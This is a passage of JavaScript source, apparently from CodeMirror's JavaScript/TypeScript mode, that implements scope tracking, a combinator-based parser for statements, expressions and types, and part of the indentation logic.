var m = /:\s*(?:\w+(?:<[^>]*>|\[\])?|\{[^}]*\})\s*$/.exec(stream.string.slice(stream.start, arrow))
|
||||
if (m) arrow = m.index
|
||||
}
|
||||
|
||||
var depth = 0, sawSomething = false;
|
||||
for (var pos = arrow - 1; pos >= 0; --pos) {
|
||||
var ch = stream.string.charAt(pos);
|
||||
var bracket = brackets.indexOf(ch);
|
||||
if (bracket >= 0 && bracket < 3) {
|
||||
if (!depth) { ++pos; break; }
|
||||
if (--depth == 0) { if (ch == "(") sawSomething = true; break; }
|
||||
} else if (bracket >= 3 && bracket < 6) {
|
||||
++depth;
|
||||
} else if (wordRE.test(ch)) {
|
||||
sawSomething = true;
|
||||
} else if (/["'\/`]/.test(ch)) {
|
||||
for (;; --pos) {
|
||||
if (pos == 0) return
|
||||
var next = stream.string.charAt(pos - 1)
|
||||
if (next == ch && stream.string.charAt(pos - 2) != "\\") { pos--; break }
|
||||
}
|
||||
} else if (sawSomething && !depth) {
|
||||
++pos;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (sawSomething && !depth) state.fatArrowAt = pos;
|
||||
}
|
||||
|
||||
// Parser
|
||||
|
||||
var atomicTypes = {"atom": true, "number": true, "variable": true, "string": true,
|
||||
"regexp": true, "this": true, "import": true, "jsonld-keyword": true};
|
||||
|
||||
function JSLexical(indented, column, type, align, prev, info) {
|
||||
this.indented = indented;
|
||||
this.column = column;
|
||||
this.type = type;
|
||||
this.prev = prev;
|
||||
this.info = info;
|
||||
if (align != null) this.align = align;
|
||||
}
|
||||
|
||||
function inScope(state, varname) {
|
||||
if (!trackScope) return false
|
||||
for (var v = state.localVars; v; v = v.next)
|
||||
if (v.name == varname) return true;
|
||||
for (var cx = state.context; cx; cx = cx.prev) {
|
||||
for (var v = cx.vars; v; v = v.next)
|
||||
if (v.name == varname) return true;
|
||||
}
|
||||
}
|
||||
|
||||
function parseJS(state, style, type, content, stream) {
|
||||
var cc = state.cc;
|
||||
// Communicate our context to the combinators.
|
||||
// (Less wasteful than consing up a hundred closures on every call.)
|
||||
cx.state = state; cx.stream = stream; cx.marked = null, cx.cc = cc; cx.style = style;
|
||||
|
||||
if (!state.lexical.hasOwnProperty("align"))
|
||||
state.lexical.align = true;
|
||||
|
||||
while(true) {
|
||||
var combinator = cc.length ? cc.pop() : jsonMode ? expression : statement;
|
||||
if (combinator(type, content)) {
|
||||
while(cc.length && cc[cc.length - 1].lex)
|
||||
cc.pop()();
|
||||
if (cx.marked) return cx.marked;
|
||||
if (type == "variable" && inScope(state, content)) return "variable-2";
|
||||
return style;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Combinator utils
|
||||
|
||||
var cx = {state: null, column: null, marked: null, cc: null};
|
||||
function pass() {
|
||||
for (var i = arguments.length - 1; i >= 0; i--) cx.cc.push(arguments[i]);
|
||||
}
|
||||
function cont() {
|
||||
pass.apply(null, arguments);
|
||||
return true;
|
||||
}
|
||||
function inList(name, list) {
|
||||
for (var v = list; v; v = v.next) if (v.name == name) return true
|
||||
return false;
|
||||
}
|
||||
function register(varname) {
|
||||
var state = cx.state;
|
||||
cx.marked = "def";
|
||||
if (!trackScope) return
|
||||
if (state.context) {
|
||||
if (state.lexical.info == "var" && state.context && state.context.block) {
|
||||
// FIXME function decls are also not block scoped
|
||||
var newContext = registerVarScoped(varname, state.context)
|
||||
if (newContext != null) {
|
||||
state.context = newContext
|
||||
return
|
||||
}
|
||||
} else if (!inList(varname, state.localVars)) {
|
||||
state.localVars = new Var(varname, state.localVars)
|
||||
return
|
||||
}
|
||||
}
|
||||
// Fall through means this is global
|
||||
if (parserConfig.globalVars && !inList(varname, state.globalVars))
|
||||
state.globalVars = new Var(varname, state.globalVars)
|
||||
}
|
||||
function registerVarScoped(varname, context) {
|
||||
if (!context) {
|
||||
return null
|
||||
} else if (context.block) {
|
||||
var inner = registerVarScoped(varname, context.prev)
|
||||
if (!inner) return null
|
||||
if (inner == context.prev) return context
|
||||
return new Context(inner, context.vars, true)
|
||||
} else if (inList(varname, context.vars)) {
|
||||
return context
|
||||
} else {
|
||||
return new Context(context.prev, new Var(varname, context.vars), false)
|
||||
}
|
||||
}
|
||||
|
||||
function isModifier(name) {
|
||||
return name == "public" || name == "private" || name == "protected" || name == "abstract" || name == "readonly"
|
||||
}
|
||||
|
||||
// Combinators
|
||||
|
||||
function Context(prev, vars, block) { this.prev = prev; this.vars = vars; this.block = block }
|
||||
function Var(name, next) { this.name = name; this.next = next }
|
||||
|
||||
var defaultVars = new Var("this", new Var("arguments", null))
|
||||
function pushcontext() {
|
||||
cx.state.context = new Context(cx.state.context, cx.state.localVars, false)
|
||||
cx.state.localVars = defaultVars
|
||||
}
|
||||
function pushblockcontext() {
|
||||
cx.state.context = new Context(cx.state.context, cx.state.localVars, true)
|
||||
cx.state.localVars = null
|
||||
}
|
||||
pushcontext.lex = pushblockcontext.lex = true
|
||||
function popcontext() {
|
||||
cx.state.localVars = cx.state.context.vars
|
||||
cx.state.context = cx.state.context.prev
|
||||
}
|
||||
popcontext.lex = true
|
||||
function pushlex(type, info) {
|
||||
var result = function() {
|
||||
var state = cx.state, indent = state.indented;
|
||||
if (state.lexical.type == "stat") indent = state.lexical.indented;
|
||||
else for (var outer = state.lexical; outer && outer.type == ")" && outer.align; outer = outer.prev)
|
||||
indent = outer.indented;
|
||||
state.lexical = new JSLexical(indent, cx.stream.column(), type, null, state.lexical, info);
|
||||
};
|
||||
result.lex = true;
|
||||
return result;
|
||||
}
|
||||
function poplex() {
|
||||
var state = cx.state;
|
||||
if (state.lexical.prev) {
|
||||
if (state.lexical.type == ")")
|
||||
state.indented = state.lexical.indented;
|
||||
state.lexical = state.lexical.prev;
|
||||
}
|
||||
}
|
||||
poplex.lex = true;
|
||||
|
||||
function expect(wanted) {
|
||||
function exp(type) {
|
||||
if (type == wanted) return cont();
|
||||
else if (wanted == ";" || type == "}" || type == ")" || type == "]") return pass();
|
||||
else return cont(exp);
|
||||
};
|
||||
return exp;
|
||||
}
|
||||
|
||||
function statement(type, value) {
|
||||
if (type == "var") return cont(pushlex("vardef", value), vardef, expect(";"), poplex);
|
||||
if (type == "keyword a") return cont(pushlex("form"), parenExpr, statement, poplex);
|
||||
if (type == "keyword b") return cont(pushlex("form"), statement, poplex);
|
||||
if (type == "keyword d") return cx.stream.match(/^\s*$/, false) ? cont() : cont(pushlex("stat"), maybeexpression, expect(";"), poplex);
|
||||
if (type == "debugger") return cont(expect(";"));
|
||||
if (type == "{") return cont(pushlex("}"), pushblockcontext, block, poplex, popcontext);
|
||||
if (type == ";") return cont();
|
||||
if (type == "if") {
|
||||
if (cx.state.lexical.info == "else" && cx.state.cc[cx.state.cc.length - 1] == poplex)
|
||||
cx.state.cc.pop()();
|
||||
return cont(pushlex("form"), parenExpr, statement, poplex, maybeelse);
|
||||
}
|
||||
if (type == "function") return cont(functiondef);
|
||||
if (type == "for") return cont(pushlex("form"), pushblockcontext, forspec, statement, popcontext, poplex);
|
||||
if (type == "class" || (isTS && value == "interface")) {
|
||||
cx.marked = "keyword"
|
||||
return cont(pushlex("form", type == "class" ? type : value), className, poplex)
|
||||
}
|
||||
if (type == "variable") {
|
||||
if (isTS && value == "declare") {
|
||||
cx.marked = "keyword"
|
||||
return cont(statement)
|
||||
} else if (isTS && (value == "module" || value == "enum" || value == "type") && cx.stream.match(/^\s*\w/, false)) {
|
||||
cx.marked = "keyword"
|
||||
if (value == "enum") return cont(enumdef);
|
||||
else if (value == "type") return cont(typename, expect("operator"), typeexpr, expect(";"));
|
||||
else return cont(pushlex("form"), pattern, expect("{"), pushlex("}"), block, poplex, poplex)
|
||||
} else if (isTS && value == "namespace") {
|
||||
cx.marked = "keyword"
|
||||
return cont(pushlex("form"), expression, statement, poplex)
|
||||
} else if (isTS && value == "abstract") {
|
||||
cx.marked = "keyword"
|
||||
return cont(statement)
|
||||
} else {
|
||||
return cont(pushlex("stat"), maybelabel);
|
||||
}
|
||||
}
|
||||
if (type == "switch") return cont(pushlex("form"), parenExpr, expect("{"), pushlex("}", "switch"), pushblockcontext,
|
||||
block, poplex, poplex, popcontext);
|
||||
if (type == "case") return cont(expression, expect(":"));
|
||||
if (type == "default") return cont(expect(":"));
|
||||
if (type == "catch") return cont(pushlex("form"), pushcontext, maybeCatchBinding, statement, poplex, popcontext);
|
||||
if (type == "export") return cont(pushlex("stat"), afterExport, poplex);
|
||||
if (type == "import") return cont(pushlex("stat"), afterImport, poplex);
|
||||
if (type == "async") return cont(statement)
|
||||
if (value == "@") return cont(expression, statement)
|
||||
return pass(pushlex("stat"), expression, expect(";"), poplex);
|
||||
}
|
||||
function maybeCatchBinding(type) {
|
||||
if (type == "(") return cont(funarg, expect(")"))
|
||||
}
|
||||
function expression(type, value) {
|
||||
return expressionInner(type, value, false);
|
||||
}
|
||||
function expressionNoComma(type, value) {
|
||||
return expressionInner(type, value, true);
|
||||
}
|
||||
function parenExpr(type) {
|
||||
if (type != "(") return pass()
|
||||
return cont(pushlex(")"), maybeexpression, expect(")"), poplex)
|
||||
}
|
||||
function expressionInner(type, value, noComma) {
|
||||
if (cx.state.fatArrowAt == cx.stream.start) {
|
||||
var body = noComma ? arrowBodyNoComma : arrowBody;
|
||||
if (type == "(") return cont(pushcontext, pushlex(")"), commasep(funarg, ")"), poplex, expect("=>"), body, popcontext);
|
||||
else if (type == "variable") return pass(pushcontext, pattern, expect("=>"), body, popcontext);
|
||||
}
|
||||
|
||||
var maybeop = noComma ? maybeoperatorNoComma : maybeoperatorComma;
|
||||
if (atomicTypes.hasOwnProperty(type)) return cont(maybeop);
|
||||
if (type == "function") return cont(functiondef, maybeop);
|
||||
if (type == "class" || (isTS && value == "interface")) { cx.marked = "keyword"; return cont(pushlex("form"), classExpression, poplex); }
|
||||
if (type == "keyword c" || type == "async") return cont(noComma ? expressionNoComma : expression);
|
||||
if (type == "(") return cont(pushlex(")"), maybeexpression, expect(")"), poplex, maybeop);
|
||||
if (type == "operator" || type == "spread") return cont(noComma ? expressionNoComma : expression);
|
||||
if (type == "[") return cont(pushlex("]"), arrayLiteral, poplex, maybeop);
|
||||
if (type == "{") return contCommasep(objprop, "}", null, maybeop);
|
||||
if (type == "quasi") return pass(quasi, maybeop);
|
||||
if (type == "new") return cont(maybeTarget(noComma));
|
||||
return cont();
|
||||
}
|
||||
function maybeexpression(type) {
|
||||
if (type.match(/[;\}\)\],]/)) return pass();
|
||||
return pass(expression);
|
||||
}
|
||||
|
||||
function maybeoperatorComma(type, value) {
|
||||
if (type == ",") return cont(maybeexpression);
|
||||
return maybeoperatorNoComma(type, value, false);
|
||||
}
|
||||
function maybeoperatorNoComma(type, value, noComma) {
|
||||
var me = noComma == false ? maybeoperatorComma : maybeoperatorNoComma;
|
||||
var expr = noComma == false ? expression : expressionNoComma;
|
||||
if (type == "=>") return cont(pushcontext, noComma ? arrowBodyNoComma : arrowBody, popcontext);
|
||||
if (type == "operator") {
|
||||
if (/\+\+|--/.test(value) || isTS && value == "!") return cont(me);
|
||||
if (isTS && value == "<" && cx.stream.match(/^([^<>]|<[^<>]*>)*>\s*\(/, false))
|
||||
return cont(pushlex(">"), commasep(typeexpr, ">"), poplex, me);
|
||||
if (value == "?") return cont(expression, expect(":"), expr);
|
||||
return cont(expr);
|
||||
}
|
||||
if (type == "quasi") { return pass(quasi, me); }
|
||||
if (type == ";") return;
|
||||
if (type == "(") return contCommasep(expressionNoComma, ")", "call", me);
|
||||
if (type == ".") return cont(property, me);
|
||||
if (type == "[") return cont(pushlex("]"), maybeexpression, expect("]"), poplex, me);
|
||||
if (isTS && value == "as") { cx.marked = "keyword"; return cont(typeexpr, me) }
|
||||
if (type == "regexp") {
|
||||
cx.state.lastType = cx.marked = "operator"
|
||||
cx.stream.backUp(cx.stream.pos - cx.stream.start - 1)
|
||||
return cont(expr)
|
||||
}
|
||||
}
|
||||
function quasi(type, value) {
|
||||
if (type != "quasi") return pass();
|
||||
if (value.slice(value.length - 2) != "${") return cont(quasi);
|
||||
return cont(maybeexpression, continueQuasi);
|
||||
}
|
||||
function continueQuasi(type) {
|
||||
if (type == "}") {
|
||||
cx.marked = "string-2";
|
||||
cx.state.tokenize = tokenQuasi;
|
||||
return cont(quasi);
|
||||
}
|
||||
}
|
||||
function arrowBody(type) {
|
||||
findFatArrow(cx.stream, cx.state);
|
||||
return pass(type == "{" ? statement : expression);
|
||||
}
|
||||
function arrowBodyNoComma(type) {
|
||||
findFatArrow(cx.stream, cx.state);
|
||||
return pass(type == "{" ? statement : expressionNoComma);
|
||||
}
|
||||
function maybeTarget(noComma) {
|
||||
return function(type) {
|
||||
if (type == ".") return cont(noComma ? targetNoComma : target);
|
||||
else if (type == "variable" && isTS) return cont(maybeTypeArgs, noComma ? maybeoperatorNoComma : maybeoperatorComma)
|
||||
else return pass(noComma ? expressionNoComma : expression);
|
||||
};
|
||||
}
|
||||
function target(_, value) {
|
||||
if (value == "target") { cx.marked = "keyword"; return cont(maybeoperatorComma); }
|
||||
}
|
||||
function targetNoComma(_, value) {
|
||||
if (value == "target") { cx.marked = "keyword"; return cont(maybeoperatorNoComma); }
|
||||
}
|
||||
function maybelabel(type) {
|
||||
if (type == ":") return cont(poplex, statement);
|
||||
return pass(maybeoperatorComma, expect(";"), poplex);
|
||||
}
|
||||
function property(type) {
|
||||
if (type == "variable") {cx.marked = "property"; return cont();}
|
||||
}
|
||||
function objprop(type, value) {
|
||||
if (type == "async") {
|
||||
cx.marked = "property";
|
||||
return cont(objprop);
|
||||
} else if (type == "variable" || cx.style == "keyword") {
|
||||
cx.marked = "property";
|
||||
if (value == "get" || value == "set") return cont(getterSetter);
|
||||
var m // Work around fat-arrow-detection complication for detecting typescript typed arrow params
|
||||
if (isTS && cx.state.fatArrowAt == cx.stream.start && (m = cx.stream.match(/^\s*:\s*/, false)))
|
||||
cx.state.fatArrowAt = cx.stream.pos + m[0].length
|
||||
return cont(afterprop);
|
||||
} else if (type == "number" || type == "string") {
|
||||
cx.marked = jsonldMode ? "property" : (cx.style + " property");
|
||||
return cont(afterprop);
|
||||
} else if (type == "jsonld-keyword") {
|
||||
return cont(afterprop);
|
||||
} else if (isTS && isModifier(value)) {
|
||||
cx.marked = "keyword"
|
||||
return cont(objprop)
|
||||
} else if (type == "[") {
|
||||
return cont(expression, maybetype, expect("]"), afterprop);
|
||||
} else if (type == "spread") {
|
||||
return cont(expressionNoComma, afterprop);
|
||||
} else if (value == "*") {
|
||||
cx.marked = "keyword";
|
||||
return cont(objprop);
|
||||
} else if (type == ":") {
|
||||
return pass(afterprop)
|
||||
}
|
||||
}
|
||||
function getterSetter(type) {
|
||||
if (type != "variable") return pass(afterprop);
|
||||
cx.marked = "property";
|
||||
return cont(functiondef);
|
||||
}
|
||||
function afterprop(type) {
|
||||
if (type == ":") return cont(expressionNoComma);
|
||||
if (type == "(") return pass(functiondef);
|
||||
}
|
||||
function commasep(what, end, sep) {
|
||||
function proceed(type, value) {
|
||||
if (sep ? sep.indexOf(type) > -1 : type == ",") {
|
||||
var lex = cx.state.lexical;
|
||||
if (lex.info == "call") lex.pos = (lex.pos || 0) + 1;
|
||||
return cont(function(type, value) {
|
||||
if (type == end || value == end) return pass()
|
||||
return pass(what)
|
||||
}, proceed);
|
||||
}
|
||||
if (type == end || value == end) return cont();
|
||||
if (sep && sep.indexOf(";") > -1) return pass(what)
|
||||
return cont(expect(end));
|
||||
}
|
||||
return function(type, value) {
|
||||
if (type == end || value == end) return cont();
|
||||
return pass(what, proceed);
|
||||
};
|
||||
}
|
||||
function contCommasep(what, end, info) {
|
||||
for (var i = 3; i < arguments.length; i++)
|
||||
cx.cc.push(arguments[i]);
|
||||
return cont(pushlex(end, info), commasep(what, end), poplex);
|
||||
}
|
||||
function block(type) {
|
||||
if (type == "}") return cont();
|
||||
return pass(statement, block);
|
||||
}
|
||||
function maybetype(type, value) {
|
||||
if (isTS) {
|
||||
if (type == ":") return cont(typeexpr);
|
||||
if (value == "?") return cont(maybetype);
|
||||
}
|
||||
}
|
||||
function maybetypeOrIn(type, value) {
|
||||
if (isTS && (type == ":" || value == "in")) return cont(typeexpr)
|
||||
}
|
||||
function mayberettype(type) {
|
||||
if (isTS && type == ":") {
|
||||
if (cx.stream.match(/^\s*\w+\s+is\b/, false)) return cont(expression, isKW, typeexpr)
|
||||
else return cont(typeexpr)
|
||||
}
|
||||
}
|
||||
function isKW(_, value) {
|
||||
if (value == "is") {
|
||||
cx.marked = "keyword"
|
||||
return cont()
|
||||
}
|
||||
}
|
||||
function typeexpr(type, value) {
|
||||
if (value == "keyof" || value == "typeof" || value == "infer" || value == "readonly") {
|
||||
cx.marked = "keyword"
|
||||
return cont(value == "typeof" ? expressionNoComma : typeexpr)
|
||||
}
|
||||
if (type == "variable" || value == "void") {
|
||||
cx.marked = "type"
|
||||
return cont(afterType)
|
||||
}
|
||||
if (value == "|" || value == "&") return cont(typeexpr)
|
||||
if (type == "string" || type == "number" || type == "atom") return cont(afterType);
|
||||
if (type == "[") return cont(pushlex("]"), commasep(typeexpr, "]", ","), poplex, afterType)
|
||||
if (type == "{") return cont(pushlex("}"), typeprops, poplex, afterType)
|
||||
if (type == "(") return cont(commasep(typearg, ")"), maybeReturnType, afterType)
|
||||
if (type == "<") return cont(commasep(typeexpr, ">"), typeexpr)
|
||||
if (type == "quasi") { return pass(quasiType, afterType); }
|
||||
}
|
||||
function maybeReturnType(type) {
|
||||
if (type == "=>") return cont(typeexpr)
|
||||
}
|
||||
function typeprops(type) {
|
||||
if (type.match(/[\}\)\]]/)) return cont()
|
||||
if (type == "," || type == ";") return cont(typeprops)
|
||||
return pass(typeprop, typeprops)
|
||||
}
|
||||
function typeprop(type, value) {
|
||||
if (type == "variable" || cx.style == "keyword") {
|
||||
cx.marked = "property"
|
||||
return cont(typeprop)
|
||||
} else if (value == "?" || type == "number" || type == "string") {
|
||||
return cont(typeprop)
|
||||
} else if (type == ":") {
|
||||
return cont(typeexpr)
|
||||
} else if (type == "[") {
|
||||
return cont(expect("variable"), maybetypeOrIn, expect("]"), typeprop)
|
||||
} else if (type == "(") {
|
||||
return pass(functiondecl, typeprop)
|
||||
} else if (!type.match(/[;\}\)\],]/)) {
|
||||
return cont()
|
||||
}
|
||||
}
|
||||
function quasiType(type, value) {
|
||||
if (type != "quasi") return pass();
|
||||
if (value.slice(value.length - 2) != "${") return cont(quasiType);
|
||||
return cont(typeexpr, continueQuasiType);
|
||||
}
|
||||
function continueQuasiType(type) {
|
||||
if (type == "}") {
|
||||
cx.marked = "string-2";
|
||||
cx.state.tokenize = tokenQuasi;
|
||||
return cont(quasiType);
|
||||
}
|
||||
}
|
||||
function typearg(type, value) {
|
||||
if (type == "variable" && cx.stream.match(/^\s*[?:]/, false) || value == "?") return cont(typearg)
|
||||
if (type == ":") return cont(typeexpr)
|
||||
if (type == "spread") return cont(typearg)
|
||||
return pass(typeexpr)
|
||||
}
|
||||
function afterType(type, value) {
|
||||
if (value == "<") return cont(pushlex(">"), commasep(typeexpr, ">"), poplex, afterType)
|
||||
if (value == "|" || type == "." || value == "&") return cont(typeexpr)
|
||||
if (type == "[") return cont(typeexpr, expect("]"), afterType)
|
||||
if (value == "extends" || value == "implements") { cx.marked = "keyword"; return cont(typeexpr) }
|
||||
if (value == "?") return cont(typeexpr, expect(":"), typeexpr)
|
||||
}
|
||||
function maybeTypeArgs(_, value) {
|
||||
if (value == "<") return cont(pushlex(">"), commasep(typeexpr, ">"), poplex, afterType)
|
||||
}
|
||||
function typeparam() {
|
||||
return pass(typeexpr, maybeTypeDefault)
|
||||
}
|
||||
function maybeTypeDefault(_, value) {
|
||||
if (value == "=") return cont(typeexpr)
|
||||
}
|
||||
function vardef(_, value) {
|
||||
if (value == "enum") {cx.marked = "keyword"; return cont(enumdef)}
|
||||
return pass(pattern, maybetype, maybeAssign, vardefCont);
|
||||
}
|
||||
function pattern(type, value) {
|
||||
if (isTS && isModifier(value)) { cx.marked = "keyword"; return cont(pattern) }
|
||||
if (type == "variable") { register(value); return cont(); }
|
||||
if (type == "spread") return cont(pattern);
|
||||
if (type == "[") return contCommasep(eltpattern, "]");
|
||||
if (type == "{") return contCommasep(proppattern, "}");
|
||||
}
|
||||
function proppattern(type, value) {
|
||||
if (type == "variable" && !cx.stream.match(/^\s*:/, false)) {
|
||||
register(value);
|
||||
return cont(maybeAssign);
|
||||
}
|
||||
if (type == "variable") cx.marked = "property";
|
||||
if (type == "spread") return cont(pattern);
|
||||
if (type == "}") return pass();
|
||||
if (type == "[") return cont(expression, expect(']'), expect(':'), proppattern);
|
||||
return cont(expect(":"), pattern, maybeAssign);
|
||||
}
|
||||
function eltpattern() {
|
||||
return pass(pattern, maybeAssign)
|
||||
}
|
||||
function maybeAssign(_type, value) {
|
||||
if (value == "=") return cont(expressionNoComma);
|
||||
}
|
||||
function vardefCont(type) {
|
||||
if (type == ",") return cont(vardef);
|
||||
}
|
||||
function maybeelse(type, value) {
|
||||
if (type == "keyword b" && value == "else") return cont(pushlex("form", "else"), statement, poplex);
|
||||
}
|
||||
function forspec(type, value) {
|
||||
if (value == "await") return cont(forspec);
|
||||
if (type == "(") return cont(pushlex(")"), forspec1, poplex);
|
||||
}
|
||||
function forspec1(type) {
|
||||
if (type == "var") return cont(vardef, forspec2);
|
||||
if (type == "variable") return cont(forspec2);
|
||||
return pass(forspec2)
|
||||
}
|
||||
function forspec2(type, value) {
|
||||
if (type == ")") return cont()
|
||||
if (type == ";") return cont(forspec2)
|
||||
if (value == "in" || value == "of") { cx.marked = "keyword"; return cont(expression, forspec2) }
|
||||
return pass(expression, forspec2)
|
||||
}
|
||||
function functiondef(type, value) {
|
||||
if (value == "*") {cx.marked = "keyword"; return cont(functiondef);}
|
||||
if (type == "variable") {register(value); return cont(functiondef);}
|
||||
if (type == "(") return cont(pushcontext, pushlex(")"), commasep(funarg, ")"), poplex, mayberettype, statement, popcontext);
|
||||
if (isTS && value == "<") return cont(pushlex(">"), commasep(typeparam, ">"), poplex, functiondef)
|
||||
}
|
||||
function functiondecl(type, value) {
|
||||
if (value == "*") {cx.marked = "keyword"; return cont(functiondecl);}
|
||||
if (type == "variable") {register(value); return cont(functiondecl);}
|
||||
if (type == "(") return cont(pushcontext, pushlex(")"), commasep(funarg, ")"), poplex, mayberettype, popcontext);
|
||||
if (isTS && value == "<") return cont(pushlex(">"), commasep(typeparam, ">"), poplex, functiondecl)
|
||||
}
|
||||
function typename(type, value) {
|
||||
if (type == "keyword" || type == "variable") {
|
||||
cx.marked = "type"
|
||||
return cont(typename)
|
||||
} else if (value == "<") {
|
||||
return cont(pushlex(">"), commasep(typeparam, ">"), poplex)
|
||||
}
|
||||
}
|
||||
function funarg(type, value) {
|
||||
if (value == "@") cont(expression, funarg)
|
||||
if (type == "spread") return cont(funarg);
|
||||
if (isTS && isModifier(value)) { cx.marked = "keyword"; return cont(funarg); }
|
||||
if (isTS && type == "this") return cont(maybetype, maybeAssign)
|
||||
return pass(pattern, maybetype, maybeAssign);
|
||||
}
|
||||
function classExpression(type, value) {
|
||||
// Class expressions may have an optional name.
|
||||
if (type == "variable") return className(type, value);
|
||||
return classNameAfter(type, value);
|
||||
}
|
||||
function className(type, value) {
|
||||
if (type == "variable") {register(value); return cont(classNameAfter);}
|
||||
}
|
||||
function classNameAfter(type, value) {
|
||||
if (value == "<") return cont(pushlex(">"), commasep(typeparam, ">"), poplex, classNameAfter)
|
||||
if (value == "extends" || value == "implements" || (isTS && type == ",")) {
|
||||
if (value == "implements") cx.marked = "keyword";
|
||||
return cont(isTS ? typeexpr : expression, classNameAfter);
|
||||
}
|
||||
if (type == "{") return cont(pushlex("}"), classBody, poplex);
|
||||
}
|
||||
function classBody(type, value) {
|
||||
if (type == "async" ||
|
||||
(type == "variable" &&
|
||||
(value == "static" || value == "get" || value == "set" || (isTS && isModifier(value))) &&
|
||||
cx.stream.match(/^\s+#?[\w$\xa1-\uffff]/, false))) {
|
||||
cx.marked = "keyword";
|
||||
return cont(classBody);
|
||||
}
|
||||
if (type == "variable" || cx.style == "keyword") {
|
||||
cx.marked = "property";
|
||||
return cont(classfield, classBody);
|
||||
}
|
||||
if (type == "number" || type == "string") return cont(classfield, classBody);
|
||||
if (type == "[")
|
||||
return cont(expression, maybetype, expect("]"), classfield, classBody)
|
||||
if (value == "*") {
|
||||
cx.marked = "keyword";
|
||||
return cont(classBody);
|
||||
}
|
||||
if (isTS && type == "(") return pass(functiondecl, classBody)
|
||||
if (type == ";" || type == ",") return cont(classBody);
|
||||
if (type == "}") return cont();
|
||||
if (value == "@") return cont(expression, classBody)
|
||||
}
|
||||
function classfield(type, value) {
|
||||
if (value == "!") return cont(classfield)
|
||||
if (value == "?") return cont(classfield)
|
||||
if (type == ":") return cont(typeexpr, maybeAssign)
|
||||
if (value == "=") return cont(expressionNoComma)
|
||||
var context = cx.state.lexical.prev, isInterface = context && context.info == "interface"
|
||||
return pass(isInterface ? functiondecl : functiondef)
|
||||
}
|
||||
function afterExport(type, value) {
|
||||
if (value == "*") { cx.marked = "keyword"; return cont(maybeFrom, expect(";")); }
|
||||
if (value == "default") { cx.marked = "keyword"; return cont(expression, expect(";")); }
|
||||
if (type == "{") return cont(commasep(exportField, "}"), maybeFrom, expect(";"));
|
||||
return pass(statement);
|
||||
}
|
||||
function exportField(type, value) {
|
||||
if (value == "as") { cx.marked = "keyword"; return cont(expect("variable")); }
|
||||
if (type == "variable") return pass(expressionNoComma, exportField);
|
||||
}
|
||||
function afterImport(type) {
|
||||
if (type == "string") return cont();
|
||||
if (type == "(") return pass(expression);
|
||||
if (type == ".") return pass(maybeoperatorComma);
|
||||
return pass(importSpec, maybeMoreImports, maybeFrom);
|
||||
}
|
||||
function importSpec(type, value) {
|
||||
if (type == "{") return contCommasep(importSpec, "}");
|
||||
if (type == "variable") register(value);
|
||||
if (value == "*") cx.marked = "keyword";
|
||||
return cont(maybeAs);
|
||||
}
|
||||
function maybeMoreImports(type) {
|
||||
if (type == ",") return cont(importSpec, maybeMoreImports)
|
||||
}
|
||||
function maybeAs(_type, value) {
|
||||
if (value == "as") { cx.marked = "keyword"; return cont(importSpec); }
|
||||
}
|
||||
function maybeFrom(_type, value) {
|
||||
if (value == "from") { cx.marked = "keyword"; return cont(expression); }
|
||||
}
|
||||
function arrayLiteral(type) {
|
||||
if (type == "]") return cont();
|
||||
return pass(commasep(expressionNoComma, "]"));
|
||||
}
|
||||
function enumdef() {
|
||||
return pass(pushlex("form"), pattern, expect("{"), pushlex("}"), commasep(enummember, "}"), poplex, poplex)
|
||||
}
|
||||
function enummember() {
|
||||
return pass(pattern, maybeAssign);
|
||||
}
|
||||
|
||||
function isContinuedStatement(state, textAfter) {
|
||||
return state.lastType == "operator" || state.lastType == "," ||
|
||||
isOperatorChar.test(textAfter.charAt(0)) ||
|
||||
/[,.]/.test(textAfter.charAt(0));
|
||||
}
|
||||
|
||||
function expressionAllowed(stream, state, backUp) {
|
||||
return state.tokenize == tokenBase &&
|
||||
/^(?:operator|sof|keyword [bcd]|case|new|export|default|spread|[\[{}\(,;:]|=>)$/.test(state.lastType) ||
|
||||
(state.lastType == "quasi" && /\{\s*$/.test(stream.string.slice(0, stream.pos - (backUp || 0))))
|
||||
}
|
||||
|
||||
// Interface
|
||||
|
||||
return {
|
||||
startState: function(basecolumn) {
|
||||
var state = {
|
||||
tokenize: tokenBase,
|
||||
lastType: "sof",
|
||||
cc: [],
|
||||
lexical: new JSLexical((basecolumn || 0) - indentUnit, 0, "block", false),
|
||||
localVars: parserConfig.localVars,
|
||||
context: parserConfig.localVars && new Context(null, null, false),
|
||||
indented: basecolumn || 0
|
||||
};
|
||||
if (parserConfig.globalVars && typeof parserConfig.globalVars == "object")
|
||||
state.globalVars = parserConfig.globalVars;
|
||||
return state;
|
||||
},
|
||||
|
||||
token: function(stream, state) {
|
||||
if (stream.sol()) {
|
||||
if (!state.lexical.hasOwnProperty("align"))
|
||||
state.lexical.align = false;
|
||||
state.indented = stream.indentation();
|
||||
findFatArrow(stream, state);
|
||||
}
|
||||
if (state.tokenize != tokenComment && stream.eatSpace()) return null;
|
||||
var style = state.tokenize(stream, state);
|
||||
if (type == "comment") return style;
|
||||
state.lastType = type == "operator" && (content == "++" || content == "--") ? "incdec" : type;
|
||||
return parseJS(state, style, type, content, stream);
|
||||
},
|
||||
|
||||
indent: function(state, textAfter) {
|
||||
if (state.tokenize == tokenComment || state.tokenize == tokenQuasi) return CodeMirror.Pass;
|
||||
if (state.tokenize != tokenBase) return 0;
|
||||
var firstChar = textAfter && textAfter.charAt(0), lexical = state.lexical, top
|
||||
// Kludge to prevent 'maybelse' from blocking lexical scope pops
|
||||
if (!/^\s*else\b/.test(textAfter)) for (var i = state.cc.length - 1; i >= 0; --i) {
|
||||
var c = state.cc[i];
|
||||
if (c == poplex) lexical = lexical.prev;
|
||||
else if (c != maybeelse && c != popcontext) break;
|
||||
}
|
||||
while ((lexical.type == "stat" || lexical.type == "form") &&
|
||||
(firstChar == "}" || ((top = state.cc[state.cc.length - 1]) &&
|
||||
(top == maybeoperatorComma || top == maybeoperatorNoComma) &&
|
||||
!/^[,\.=+\-*:?[\(]/.test(textAfter))))
|
||||
lexical = lexical.prev;
|
||||
if (statementIndent && lexical.type == ")" && lexical.prev.type == "stat")
|
||||
lexical = lexical.prev;
|
||||
var type = lexical.type, closing = firstChar == type;
|
||||
|
||||
if (type == "vardef") return lexical.indented + (state.lastType == "operator" || state.lastType == "," ? lexical.info.length + 1 : 0);
|
||||
else if (type == "form" && firstChar == "{") return lexical.indented;
|
||||
else if (type == "form") return lexical.indented + indentUnit;
|
||||
else if (type == "stat")
|
||||
